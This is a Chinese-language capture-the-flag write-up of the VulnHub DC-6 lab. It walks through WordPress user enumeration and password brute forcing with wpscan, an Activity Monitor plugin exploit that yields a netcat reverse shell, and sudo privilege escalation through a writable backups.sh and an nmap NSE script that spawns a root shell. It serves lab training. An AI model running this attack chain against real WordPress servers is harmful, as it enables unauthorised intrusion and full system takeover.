DC-6靶场实战

前言

  这次的靶机是vulnhub下的第6台靶机，下载地址为DC: 6 ~ VulnHub，同样的，下载解压后，用VMware打开

这次的靶机在下载界面给我们提供了线索，这边提示我们需要将kali上的rockyou.txt中包含k01的密码提取出来，相比于暴力破解可以节省几年的时间。

一.准备工作

  设置靶机的网络适配器为nat模式

输入命令，可以得知靶机对应的IP地址为192.168.188.135

arp-scan -l

继续输入以下命令

nmap -A -sV -p- --min-parallelism 100 192.168.188.135 

可以得知，靶机开放了22端口和80端口，这边还有一个提示符

Did not follow redirect to http://wordy/

这边提示我们直接输入靶机的IP地址是无法跳转到网址页面的，因此，我们需要在hosts文件中设置域名wordy到靶机IP的地址映射，输入以下命令

vim etc/hosts

192.168.188.135 wordy

vim编辑需要按O进入编辑模式，编辑完成后输入CTRL+c退出编辑模式，然后输入:wq，保存并退出

注意：如果是在windows系统的浏览器上修改hosts文件，则需要进入对应的目录中

输入靶机的ip地址到浏览器中，会自动跳转到对应的域名，并且也可以知道网址使用的是wordpress搭建的

二.wordpress爆破

输入以下命令进行爆破

wpscan --url wordy -e u
枚举出所有用户名

可以看出，爆破出了5个用户名admin,sarah,graham,mark,jens,将这五个用户名保存到user.txt中，此时想到了先前作者给出的提示，通过kali自带的字典进行暴力破解 

输入以下命令

cat /usr/share/wordlists/rockyou.txt|grep k01 > ps.txt

grep表示管道命令

>表示保存到ps.txt这个文件中

此时用户名和密码都拥有了，进行暴力破解

输入以下命令

wpscan --url wordy -U user.txt -P ps.txt

成功破解出一个账户和密码，此时登录网站后台（由于网站是wordpress搭建的，默认后台就是wp-login.php,就不用dirsearch了），输入账号和密码

三.获取shell

  登录账号后，发现并没有什么存在数据交互的地方，但是这里有个Activity monitor模块，这个模块在我之前有使用过这个模块的漏洞

输入以下命令查询这个模块的漏洞

searchsploit Activoty monitor

发现这里存在两个可以用于wordpress的漏洞，这里我们试试第一个，将其下载下来

searchsploit -m 45274.html

cat 45274.html

发现这是个表单提交的按钮，根据需要，将其更改为自己提交的数据，修改后保存并退出

注意修改的ip地址为kali的本地ip地址

然后在本地开启一个监听接口,打开45274.html

rlwrap nc -lvnp 4443

点击提交后，发现已经获得了一个交互式的shell

升级成交互式的shell，输入以下命令

python -c 'import pty;pty.spawn("/bin/bash")'

四.提权

 此时已经有了一个可以交互的shell，现在要做的一步就是提权，先试下suid提权，输入以下命令

find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null

suid提权可以参考这篇博客Linux下利用SUID提权-腾讯云开发者社区-腾讯云

 

发现并没有可以提权的文件，试一下sudo提权，发现也不行

没有办法了，只能到家目录里面去找找看有没有些有用的信息

发现在mark里面有一个things-to-do.txt文件，打开看看

这边爆出了graham的密码，我们用ssh登录试试看

成功登陆上去了，试试能否用suid提权，发现还是没有可以提权的相关命令，试试sudo提权

发现可以，可以通过jens这个用户执行backups.sh这个脚本实现提权

把/bin/bash追加到这个文件，然后用jens的身份执行这个文件的时候就会打开一个具有jens权限的shell

输入以下命令

cd /home/jens

echo '/bin/bash' >>backups.sh

sudo -u jens ./backups.sh

>>表示追加

发现此时已经切换到了jens用户，并且没有通过密码进行验证，看看是否能通过sudo进行提权

发现可以通过执行nmap可以获得一个root身份,现在还不知道nmap如何使用，查资料得知nmap扫描可以通过nmap脚本进行提权

因此我们可以创建一个nse脚本，输入以下命令

echo 'os.execute("/bin/sh")'>kali.nse

sudo nmap --script=kali.nse

发现已经成功

五.总结

 这次也是收获到了很多的知识，不会的东西不知道怎么用先别急，可以先查查资料，GPT，文心一言都有很多的解释，最大的收获就是遇到问题不要怕，多查查资料，总有解决的手段。